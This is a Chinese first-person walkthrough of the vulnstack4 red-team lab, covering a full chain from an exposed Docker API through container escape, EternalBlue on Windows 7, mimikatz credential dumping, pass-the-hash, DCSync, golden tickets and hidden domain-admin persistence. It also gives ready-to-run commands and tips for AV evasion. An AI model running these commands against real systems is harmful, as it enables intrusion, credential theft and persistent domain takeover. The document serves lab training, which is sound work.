
1. 项目概述一次从边界到核心的完整渗透之旅红日靶场vulnstack4在安全圈内是一个标志性的存在。它模拟了一个典型的企业内网环境其核心挑战在于攻击者并非从传统的Web漏洞入手而是从一个看似隔离的Docker容器内部开始。这意味着你的起点是一个权限受限的“牢笼”目标却是整个内网中最具价值的资产——域控制器。这种从“容器逃逸”到“域控提权”的路径完美复现了高级持续性威胁APT攻击中攻击者利用一个初始立足点逐步横向移动、权限提升最终控制整个网络核心的完整链条。对于想深入理解内网渗透、横向移动和权限维持技术的学习者来说这是一个不可多得的实战演练场。我花了几天时间从头到尾完整复现了这条攻击链。整个过程充满了“柳暗花明”的转折和需要精细操作的细节网上很多零散的Writeup要么步骤跳跃要么在关键节点一笔带过让新手跟着操作时频频踩坑。这篇文章我将以第一视角带你走通这条从容器到域控的完整路径并重点分享那些容易让人卡住、甚至放弃的“坑点”及其解决方案。无论你是刚接触内网安全的新手还是想巩固知识体系的老手这篇详尽的实战记录都能为你提供清晰的路线图和实用的避坑指南。2. 靶场环境搭建与信息收集2.1 靶机拓扑与核心目标解析vulnstack4的拓扑结构并不复杂但每一台机器都扮演着关键角色。整个靶场包含三台虚拟机Ubuntu (192.168.93.128)这是我们的攻击起点。它运行着一个存在漏洞的Docker服务我们最初获得的权限被限制在这个Docker容器内部。它的IP是172.17.0.2Docker网桥网络。Windows 7 (192.168.93.129)这是内网中的第一台Windows主机通常作为普通员工办公机或应用服务器。它加入了域是我们从容器逃逸后进行内网横向移动的第一个跳板。Windows Server 2008 (192.168.93.130)这是整个靶场的核心——域控制器Domain Controller, DC。它运行着Active Directory域服务掌控着整个域假设域名为redteam.local的所有账户和策略。我们的终极目标就是获取这台机器的最高权限通常是SYSTEM或域管理员权限。攻击路径非常清晰攻击机Kali Linux假设IP为192.168.93.200无法直接访问内网。我们需要先攻破Ubuntu上的Docker容器从容器内部逃逸到Ubuntu宿主机然后以Ubuntu为跳板扫描并攻击内网的Windows 7最后以Windows 7为跳板最终攻陷域控制器。2.2 初始信息收集与漏洞定位启动所有靶机后第一步是从外部对Ubuntu (192.168.93.128)进行端口扫描。使用Nmap进行快速扫描是标准操作nmap -sS -sV -O 192.168.93.128扫描结果通常会显示开放了22SSH、80HTTP和某个较高端口如2375。这里第一个坑点就出现了很多教程会直接告诉你Docker API端口2375未授权访问但实际环境中这个端口可能不是2375也可能是2376或其他。关键在于识别出Docker守护进程的API端口。通过-sV进行版本探测如果看到服务标识为“Docker”或相关字样就能确定。更稳妥的方法是使用全端口扫描或者利用已知Web入口点。访问http://192.168.93.128可能会发现一个简单的Web应用。通过目录扫描如用dirsearch或gobuster有时能发现一些提示或备份文件但核心突破口往往还是那个未授权的Docker API。注意靶场网络环境务必配置正确。确保你的攻击机Kali与三台靶机在同一网段如192.168.93.0/24且能互相ping通。如果使用VMware或VirtualBox建议将所有机器的网络适配器设置为“仅主机模式”或自定义的同一VMnet这是后续所有内网通信的基础。3. 容器逃逸突破最初的牢笼3.1 利用未授权Docker API获取初始立足点当确认Docker守护进程的API端口假设为2375对外开放且无需认证时我们就拥有了一个强大的入口。Docker API允许远程执行容器管理命令。我们可以直接通过HTTP请求与这个API交互。首先列出当前运行的所有容器确认我们的目标curl http://192.168.93.128:2375/containers/json如果返回一个空的JSON数组[]说明没有正在运行的容器。但这不代表没有漏洞。我们可以尝试创建一个新的容器并在创建时通过配置实现逃逸。这是第二个关键操作也是容易出错的地方。Docker容器的逃逸手法很多在vulnstack4中最常用且有效的方法是利用--privileged特权模式或挂载宿主机根目录。我们选择挂载宿主机根目录到容器内的方式因为这样更直接。我们需要向Docker API发送一个POST请求来创建容器。curl -X POST -H Content-Type: application/json \ -d { Image: alpine:latest, Cmd: [/bin/sh], HostConfig: { Binds: [/:/mnt] } } \ http://192.168.93.128:2375/containers/create?nameevil_container这个请求的含义是从alpine:latest镜像创建一个名为evil_container的容器启动后执行/bin/sh并将宿主机的根目录/挂载到容器内的/mnt目录。执行成功后API会返回一个JSON其中包含容器的ID。接着启动这个容器curl -X POST \ http://192.168.93.128:2375/containers/container_id/start将container_id替换为上一步返回的实际ID。3.2 执行逃逸并建立持久化通道容器启动后我们需要在容器内执行命令从而访问我们挂载的宿主机文件系统。我们可以使用exec功能在容器内创建执行进程curl -X POST -H Content-Type: application/json \ -d { AttachStdin: true, AttachStdout: true, AttachStderr: true, Tty: true, Cmd: [/bin/sh, -c, chroot /mnt /bin/bash] } \ http://192.168.93.128:2375/containers/container_id/exec这个请求会创建一个exec实例其执行的命令是chroot /mnt /bin/bash。chroot命令将根目录切换到/mnt即宿主机的/然后启动bash。这样我们得到的shell环境实际上就是宿主机环境实现了逃逸。请求会返回一个Exec ID。我们需要再发起一个请求来启动这个exec进程并获取交互式shell。通常我们会直接构造一个命令在宿主机上写入一个后门或反弹shell。更直接稳定的方法直接在创建容器时通过Cmd执行反弹shell命令到我们的攻击机。但需要注意容器内可能没有bash或nc因此使用/bin/sh和管道是一种更通用的方法。不过在vulnstack4的逃逸环节通过挂载根目录并chroot的方式是最可靠的。实际操作中我推荐一个组合拳在宿主机上写入一个SSH公钥到/root/.ssh/authorized_keys实现SSH免密登录。同时上传一个静态编译的、功能完整的后门程序如msfvenom生成的Linux反向TCP Meterpreter到宿主机并设置计划任务持久化。假设攻击机IP为192.168.93.200监听端口4444。我们可以在exec的命令中这样写Cmd: [/bin/sh, -c, echo ssh-rsa AAAAB3NzaC... your_pub_key /mnt/root/.ssh/authorized_keys chmod 600 /mnt/root/.ssh/authorized_keys]执行成功后就可以直接ssh root192.168.93.128登录Ubuntu宿主机了。至此容器逃逸完成我们获得了第一个稳定的内网跳板。避坑指南实际操作时/root/.ssh目录可能不存在需要先创建。最稳健的命令是mkdir -p /mnt/root/.ssh echo pub_key /mnt/root/.ssh/authorized_keys chmod 700 /mnt/root/.ssh chmod 600 /mnt/root/.ssh/authorized_keys。另外确保你的公钥格式正确没有多余换行。4. 内网横向移动攻陷Windows 7主机4.1 内网探测与存活主机发现获得Ubuntu宿主机的shell后我们相当于已经进入了内网192.168.93.0/24。下一步就是对内网进行侦察。首先查看Ubuntu的网络配置确认网卡和路由ifconfig route -n通常会发现它除了Docker网卡(172.17.0.1)还有一张连接内网的网卡如eth0 IP192.168.93.128。接着进行内网存活主机扫描。由于靶场环境较小我们可以直接用nmap进行ARP扫描或ICMP扫描nmap -sn 192.168.93.0/24或者使用更轻量的fpingfping -a -g 192.168.93.0/24 2/dev/null扫描结果应该能发现192.168.93.129(Win7) 和192.168.93.130(DC) 存活。4.2 利用MS17-010永恒之蓝攻破Windows 7发现Windows 7后需要对其进行端口扫描和服务识别寻找攻击面。nmap -sS -sV -O -p- 192.168.93.129经典的nmap扫描会显示其开放了445端口SMB。在老旧未打补丁的Windows系统上445端口往往意味着可能存在MS17-010永恒之蓝漏洞。我们可以使用nmap的NSE脚本进行漏洞检测nmap --script smb-vuln-ms17-010 192.168.93.129如果脚本确认存在漏洞就可以利用它了。在Ubuntu跳板机上我们可以使用Metasploit Framework。首先启动msfconsole然后搜索并利用相关模块msf6 use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue) set RHOSTS 192.168.93.129 msf6 exploit(ms17_010_eternalblue) set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(ms17_010_eternalblue) set LHOST 192.168.93.128 # Ubuntu跳板机的IP msf6 exploit(ms17_010_eternalblue) set LPORT 4445 msf6 exploit(ms17_010_eternalblue) exploit这里存在第三个大坑LHOST的设置。很多新手会习惯性地设置为攻击机Kali的IP (192.168.93.200)。但请记住我们现在是从Ubuntu跳板机(192.168.93.128)上运行Metasploit去攻击Windows 7。Meterpreter的回连地址LHOST必须是Ubuntu跳板机的IP因为Windows 7只能与同内网的Ubuntu通信它根本不知道外网Kali的存在。我们需要先在Ubuntu上启动Metasploit和监听让shell弹回Ubuntu。执行exploit后如果成功我们会获得一个Windows 7上的Meterpreter会话。首先进行基本系统信息收集meterpreter sysinfo meterpreter getuid通常权限已经是NT AUTHORITY\SYSTEM因为永恒之蓝漏洞利用成功后直接就是系统权限。4.3 信息收集与凭证提取拿到Windows 7的最高权限后不要急于攻击域控先进行充分的信息收集。目标是获取域内凭证和拓扑信息。抓取密码哈希使用Meterpreter的hashdump命令。meterpreter hashdump这会导出本地SAM数据库中的哈希值。但更重要的是域账户的哈希。如果当前用户是域用户可以尝试使用kiwi模块Mimikatz的Metasploit版meterpreter load kiwi meterpreter kiwi_cmd privilege::debug meterpreter kiwi_cmd sekurlsa::logonpasswordssekurlsa::logonpasswords可以抓取内存中的明文密码和哈希这是获取域凭证的利器。收集网络和域信息meterpreter ipconfig meterpreter run post/windows/gather/enum_domain meterpreter shell C:\ net user /domain C:\ net group Domain Admins /domain C:\ net view /domain通过这些命令我们可以知道域名例如REDTEAM、域管理员账户列表、以及域内其他机器。定位域控制器通常DNS服务器就是域控制器。查看DNS设置C:\ ipconfig /all在DNS服务器一栏192.168.93.130很可能就是域控制器。也可以用nltest命令确认C:\ nltest /dsgetdc:redteam.local5. 域内渗透与域控提权5.1 利用PTH哈希传递横向移动到域控假设我们从Windows 7的内存中抓取到了域管理员或高权限域用户的NTLM哈希。现在我们身处Windows 7目标是域控制器(192.168.93.130)。由于我们有了哈希经典的攻击方式是Pass-The-Hash (PTH)。我们可以直接在Windows 7的Meterpreter会话中使用psexec模块进行哈希传递。但需要注意psexec会在目标机器创建服务可能被拦截。另一种更隐蔽的方式是使用wmiexec或smbexec。这里以Metasploit的psexec为例首先背景化当前的Meterpreter会话background。然后使用psexec模块并设置捕获到的哈希作为SMBPass。msf6 use exploit/windows/smb/psexec msf6 exploit(windows/smb/psexec) set RHOSTS 192.168.93.130 msf6 exploit(windows/smb/psexec) set SMBUser Administrator # 域管理员账户 msf6 exploit(windows/smb/psexec) set SMBPass 捕获到的NTLM哈希 # 格式如aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 msf6 exploit(windows/smb/psexec) set SMBDomain REDTEAM # 域名 msf6 exploit(windows/smb/psexec) set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) set LHOST 192.168.93.128 # 仍然是Ubuntu跳板机IP msf6 exploit(windows/smb/psexec) set LPORT 4446 msf6 exploit(windows/smb/psexec) exploit如果哈希正确且账户权限足够我们将获得一个域控制器上的Meterpreter会话权限很可能是NT AUTHORITY\SYSTEM。第四个关键坑点SMBPass的格式。它可以是明文密码也可以是LM:NTML哈希对。从kiwi或hashdump获取的NTLM哈希需要构造成LM哈希:NTLM哈希的格式。如果LM哈希未知在较新系统中常见则用32个0填充LM部分即00000000000000000000000000000000:NTLM哈希。设置错误的格式会导致认证失败。5.2 权限提升与域控完全控制获得域控制器的shell后虽然可能是SYSTEM权限但为了完全控制我们还需要做几件事获取域控上的所有哈希使用kiwi模块的dcsync功能。dcsync可以模拟域控制器从其他DC同步数据的行为从而直接拉取指定域用户的哈希无需交互式登录或代码执行。meterpreter load kiwi meterpreter kiwi_cmd lsadump::dcsync /domain:redteam.local /user:Administrator这个命令会输出域管理员Administrator的NTLM哈希。同样可以拉取krbtgt账户的哈希这对于制作黄金票据至关重要。制作黄金票据Golden Ticket黄金票据允许我们伪造任意域用户的TGT票据授予票据从而实现持久的、不受限制的域内访问。我们需要三个关键元素域名redteam.local域SID可以通过shell执行whoami /user查看当前用户的SID然后去掉最后的-500之类的RID部分。krbtgt账户的NTLM哈希通过上一步的dcsync获取。要伪造的用户名比如fakeadmin在Meterpreter中我们可以用kiwi生成黄金票据meterpreter kiwi_cmd kerberos::golden /domain:redteam.local /sid:S-1-5-21-... /rc4:krbtgt_hash /user:fakeadmin /id:500 /ptt/ptt参数表示将生成的票据直接注入当前会话的内存。执行成功后我们就可以以fakeadmin域管理员的身份访问域内任何资源即使该账户在AD中并不真实存在。权限维持在域控上留下后门。例如创建隐藏的计划任务、注册表启动项、或者更隐蔽的DSRM目录服务还原模式密码同步、Skeleton Key等。一个简单的方法是添加一个隐藏的域管理员账户meterpreter shell C:\ net user backdoor$ Pssw0rd! /add /domain C:\ net group Domain Admins backdoor$ /add /domain注意在用户名后加$可以使其在net user命令中默认隐藏但并非绝对隐蔽。6. 实战避坑与疑难问题全解在整个复现过程中我遇到了不少让人头疼的问题。下面我把它们整理出来并提供经过验证的解决方案。6.1 容器逃逸阶段常见问题问题1Docker API端口连接被拒绝或超时。排查首先确认靶机Ubuntu的防火墙是否关闭sudo ufw status。其次确认Docker服务配置是否正确监听了该端口。在Ubuntu上检查/lib/systemd/system/docker.service文件看是否有-H tcp://0.0.0.0:2375这样的参数。如果没有可能需要修改配置并重启Docker服务但这在靶场中通常已预设好。解决如果靶场环境是别人提供的OVA镜像确保你按说明正确配置了网络。有时需要进入Ubuntu系统手动启动Docker服务sudo systemctl start docker。问题2创建容器时返回404或500错误。排查检查请求的JSON格式是否正确特别是Image名称是否拼写正确。alpine:latest是常用镜像确保宿主机能拉取到或已存在。可以先用curl http://192.168.93.128:2375/images/json查看已有镜像。解决如果镜像不存在Docker会尝试从Docker Hub拉取这需要网络且可能较慢。可以换一个更小的、肯定存在的镜像如busybox:latest。或者在请求中指定一个绝对存在的本地镜像名。问题3执行chroot命令后无响应或报错。解决chroot需要目标文件系统内有完整的/bin/bash等环境。Alpine镜像内可能没有bash。将命令中的/bin/bash改为/bin/sh。更通用的方法是不执行chroot而是直接通过挂载点写入文件。例如直接执行echo your_pub_key /mnt/root/.ssh/authorized_keys。然后尝试SSH连接。6.2 横向移动阶段常见问题问题4MS17-010漏洞利用失败提示“Target is not vulnerable”或连接失败。排查首先用nmap --script smb-vuln-ms17-010再次确认漏洞是否存在。可能是目标系统已打补丁但vulnstack4环境应该存在。更常见的原因是防火墙或杀毒软件拦截。Windows 7自带的防火墙可能默认阻止了445端口的某些流量。解决在获得初始shell后如果通过其他方式可以先尝试关闭目标Windows 7的防火墙netsh advfirewall set allprofiles state off。但注意在真实环境中这会产生大量日志。在靶场中可以检查虚拟机快照是否还原到了干净状态。问题5Meterpreter会话建立后立即断开。排查这通常是payload或编码问题或者被目标机器的杀软如Windows Defender静态或动态查杀。也可能是网络不稳定。解决尝试使用不同的payload或编码器。例如使用windows/x64/meterpreter_reverse_https可能比reverse_tcp更稳定且能绕过一些检测。在生成payload时使用msfvenom的编码功能msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST... LPORT... -e x64/shikata_ga_nai -i 5 -f exe shell.exe。在靶场环境中也可以临时禁用Windows Defender实时保护。问题6哈希传递PTH到域控失败。排查这是最高频的卡点。请按以下顺序检查哈希格式确保是LM:NTLM格式如果LM部分未知用32个0填充。账户权限确认你使用的哈希对应的账户如Administrator在目标域控制器上确实有管理员权限。SMB签名如果目标服务器如域控强制要求SMB签名而我们的攻击工具不支持则会失败。Windows Server默认对域控制器是要求签名的。但很多利用模块如Metasploit的psexec会自动处理或使用不需要签名的方式。如果失败可以尝试使用exploit/windows/smb/smb_delivery生成恶意服务或exploit/windows/smb/smb_relay如果条件允许等其他横向移动方式。网络可达性确保从Windows 7可以访问域控的445端口telnet 192.168.93.130 445或Test-NetConnection。解决如果标准PTH不行可以尝试在Windows 7上使用Mimikatz直接进行PTH然后使用dir \\dc\c$等方式验证再尝试使用wmiexec.py等Impacket工具进行横向移动这些工具有时更灵活。6.3 域控提权与后渗透阶段问题问题7dcsync操作失败提示“ERROR kuhl_m_lsadump_dcsync...”排查这通常是因为当前权限不足。dcsync需要非常高的权限如域管理员或企业管理员组权限或者SYSTEM权限。虽然你获得了域控的SYSTEM shell但某些环境下权限令牌可能有问题。解决首先确保你是在一个高完整性级别的进程中执行在Meterpreter中通常已是SYSTEM。可以尝试先使用kiwi_cmd privilege::debug提升调试权限。如果还不行尝试迁移进程到一个更稳定的、以SYSTEM运行的进程如lsass.exe但需谨慎可能导致系统不稳定。也可以尝试使用lsadump::lsa /patch直接从LSASS内存中提取哈希。问题8黄金票据注入后访问域资源仍然被拒绝。排查检查黄金票据生成命令中的参数是否正确尤其是域名全称和NetBIOS名、域SID和krbtgt哈希。一个字符错误都会导致票据无效。另外票据有默认有效期通常20分钟可能已过期。解决使用klist命令查看当前会话中的Kerberos票据确认黄金票据是否成功注入。在生成黄金票据时可以使用/startoffset、/endin和/renewmax参数来设置票据的起始时间、有效期和最大续订期例如/endin:10080可设置为一周有效。确保时间设置合理。整个流程走下来最大的体会就是“细节决定成败”。每一个命令的参数、IP地址的设置、哈希的格式都可能成为拦路虎。最好的学习方法就是一边操作一边理解每个步骤背后的原理为什么Docker挂载根目录可以逃逸为什么MS17-010能直接拿到SYSTEM为什么NTLM哈希可以传递当你把“是什么”和“为什么”都搞清楚了再遇到新的靶场或真实环境你才能举一反三灵活运用。红日vulnstack4就像一张精心设计的地图跟着走完一遍你对内网渗透的整条攻击链就有了一个坚实而具体的认知框架。